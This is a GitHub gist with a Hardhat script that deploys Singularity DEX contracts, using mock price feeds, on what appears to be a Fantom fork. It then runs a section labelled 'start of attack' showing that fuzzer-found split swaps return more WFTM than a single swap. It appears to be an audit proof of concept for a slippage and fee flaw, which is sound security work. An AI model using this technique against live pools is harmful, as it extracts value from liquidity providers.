Skip to content

Instantly share code, notes, and snippets.

@bsamuels453
Created June 23, 2022 17:26
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bsamuels453/bb360d59f1f8bfef4272a76d583fdbac to your computer and use it in GitHub Desktop.
Save bsamuels453/bb360d59f1f8bfef4272a76d583fdbac to your computer and use it in GitHub Desktop.
const hre = require("hardhat");
async function main() {
const [deployer] = await ethers.getSigners();
function numToBN(number, decimals = 18) {
return ethers.utils.parseUnits(number.toString(), decimals);
}
const Oracle = await hre.ethers.getContractFactory("SingularityOracle");
const adminAddress = deployer.address;
const oracle = await Oracle.deploy(adminAddress);
await oracle.deployed();
console.log(`Oracle deployed to: ${oracle.address}`);
const Factory = await hre.ethers.getContractFactory("SingularityFactory");
const trancheName = "Beta v4";
const oracleAddress = oracle.address;
const feeToAddress = deployer.address;
const factory = await Factory.deploy(trancheName, adminAddress, oracleAddress, feeToAddress);
await factory.deployed();
console.log(`Factory deployed to: ${factory.address}`);
let tx = await oracle.setOnlyUseChainlink(true);
await tx.wait()
console.log(`setOnlyUseChainlink`)
const usdc = "0x04068da6c83afcfa0e13ba15a6696662335d5b75";
const dai = "0x8d11ec38a3eb5e956b052f67da8bdc9bef8abf3e";
const wftm = "0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83";
const FeedBuilder = await hre.ethers.getContractFactory("TestChainlinkFeed");
const daiFeedBuilt = await FeedBuilder.deploy(numToBN(1,8));
const wftmFeedBuilt = await FeedBuilder.deploy(numToBN(1,8));
const daiFeed = daiFeedBuilt.address;
const wftmFeed = wftmFeedBuilt.address;
tx = await oracle.setChainlinkFeeds(
[dai, wftm],
[daiFeed, wftmFeed]
);
await tx.wait();
console.log(`setChainlinkFeeds`)
const tokens = [
{
name: "DAI",
address: "0x8d11ec38a3eb5e956b052f67da8bdc9bef8abf3e",
fee: 0.0002,
isStable: true,
cap: numToBN(100000),
},
{
name: "WFTM",
address: "0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83",
fee: 0.0002,
isStable: true,
cap: numToBN(100000),
},
];
for (let i = 0; i < tokens.length; i++) {
const tokenAddress = tokens[i].address;
const isStablecoin = tokens[i].isStable;
const baseFee = numToBN(tokens[i].fee);
console.log(`fee: ${baseFee}`)
let tx = await factory.createPool(tokenAddress, isStablecoin, baseFee);
await tx.wait();
const poolAddress = await factory.getPool(tokenAddress);
console.log(`${tokenAddress} pool deployed to: ${poolAddress}`);
}
await factory.setDepositCaps(
[tokens[0].address, tokens[1].address],
[tokens[0].cap, tokens[1].cap]
);
const Router = await hre.ethers.getContractFactory("SingularityRouter");
const router = await Router.deploy(factory.address, wftm);
await factory.setRouter(router.address);
console.log(`factory set up`);
const Pool = await hre.ethers.getContractFactory("SingularityPool");
//const usdcPoolAddress = await factory.getPool(usdc);
//const usdcPool = Pool.attach(usdcPoolAddress);
const daiPoolAddress = await factory.getPool(dai);
console.log(`pool resolved`);
const daiPool = Pool.attach(daiPoolAddress);
const uni = await hre.ethers.getContractAt("IUniswapV2Router01", "0xF491e7B69E4244ad4002BC14e878a34207E38c29", deployer);
// get 100 usdc in deployer wallet
//await uni.swapETHForExactTokens(numToBN(100, 6), [wftm, usdc], deployer.address, 2655157258, {value: numToBN(1000)});
// approval to router
const wftmToken = await hre.ethers.getContractAt("IERC20", wftm);
await wftmToken.approve(router.address, numToBN(100, 18));
console.log(`approval`);
// get 100 dai in deployer wallet
await uni.swapETHForExactTokens(numToBN(100, 18), [wftm, dai], deployer.address, 2655157258, {value: numToBN(1000)});
// approval to router
const daiToken = await hre.ethers.getContractAt("IERC20", dai);
await daiToken.approve(router.address, numToBN(100, 18));
// add 10usdc to usdc pool
await router.addLiquidityETH(0, deployer.address, 2655157258, {value:numToBN(1, 18)});
// add 10 dai to dai pool
await router.addLiquidity(dai, numToBN(1, 18), 0, deployer.address, 2655157258)
// change the collateralization ratios of the two pools
await router.swapExactTokensForTokens(dai, wftm, ethers.BigNumber.from("510587198809863972"), 0, deployer.address, 2655157258);
/* start of attack */
/* ---------------------- */
// values acquired by fuzzer
let totalTradeAmount = ethers.BigNumber.from("378950999237219738");
let firstTradeAmount = ethers.BigNumber.from("366783463300368544");
let secondTradeAmount = totalTradeAmount.sub(firstTradeAmount);
let wftmOutTotal = (await router.getAmountOut(totalTradeAmount, dai, wftm)).amountOut;
let slipInTotal = (await router.getAmountOut(totalTradeAmount, dai, wftm)).slippageIn;
let slipOutTotal = (await router.getAmountOut(totalTradeAmount, dai, wftm)).slippageOut;
let tradingFeeInTotal = (await router.getAmountOut(totalTradeAmount, dai, wftm)).tradingFeeIn;
let tradingFeeOutTotal = (await router.getAmountOut(totalTradeAmount, dai, wftm)).tradingFeeOut;
let wFtmOut1 = (await router.getAmountOut(firstTradeAmount, dai, wftm)).amountOut;
let slipIn1 = (await router.getAmountOut(firstTradeAmount, dai, wftm)).slippageIn;
let slipOut1 = (await router.getAmountOut(firstTradeAmount, dai, wftm)).slippageOut;
let tradingFeeIn1 = (await router.getAmountOut(firstTradeAmount, dai, wftm)).tradingFeeIn;
let tradingFeeOut1 = (await router.getAmountOut(firstTradeAmount, dai, wftm)).tradingFeeOut;
//console.log(`Slippage1 if trading in 2 swap : ${slipIn1}`)
// exec swap
await router.swapExactTokensForTokens(dai, wftm, firstTradeAmount, 0, deployer.address, 2655157258);
let wFtmOut2 = (await router.getAmountOut(secondTradeAmount, dai, wftm)).amountOut;
//console.log(`wFtmOut2 Out if trading in 2 swaps: ${wFtmOut2}`)
let wFtmOutSeparate = wFtmOut1.add(wFtmOut2);
let slipIn2 = (await router.getAmountOut(secondTradeAmount, dai, wftm)).slippageIn;
let slipOut2 = (await router.getAmountOut(secondTradeAmount, dai, wftm)).slippageOut;
let tradingFeeIn2 = (await router.getAmountOut(secondTradeAmount, dai, wftm)).tradingFeeIn;
let tradingFeeOut2 = (await router.getAmountOut(secondTradeAmount, dai, wftm)).tradingFeeOut;
//console.log(`Slippage2 if trading in 2 swap : ${slipIn2}`)
console.log(`wFTM Out if trading in 2 swaps:`.padEnd(50) + (""+wFtmOutSeparate).padStart(25))
console.log(`Slippage In if trading in 2 swaps: `.padEnd(50) + ("" + (slipIn1.add(slipIn2))).padStart(25))
console.log(`Slippage Out if trading in 2 swaps: `.padEnd(50) + (""+(slipOut1.add(slipOut2))).padStart(25))
console.log(`trading fees Out if trading in 2 swaps: `.padEnd(50) + ("" + (tradingFeeOut2.add(tradingFeeOut1))).padStart(25))
console.log(`trading fees in if trading in 2 swaps: `.padEnd(50) + ("" + (tradingFeeIn1.add(tradingFeeIn2))).padStart(25))
console.log(`--------------`)
console.log(`wFTM Out if trading in 1 swap : `.padEnd(50) + ("" +wftmOutTotal).padStart(25))
console.log(`Slippage in if trading in 1 swap : `.padEnd(50) + ("" +(slipInTotal)).padStart(25))
console.log(`Slippage out trading in 1 swap : `.padEnd(50) + ("" +slipOutTotal).padStart(25))
console.log(`trading fees Out if trading in 1 swap:`.padEnd(50) + ("" +tradingFeeOutTotal).padStart(25))
console.log(`trading fees in if trading in 1 swap: `.padEnd(50) + ("" +tradingFeeInTotal).padStart(25))
console.log(`--------------`)
console.log(`benefit from splitting trade: `.padEnd(50) + ("" + (wFtmOutSeparate.sub(wftmOutTotal))).padStart(25));
}
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment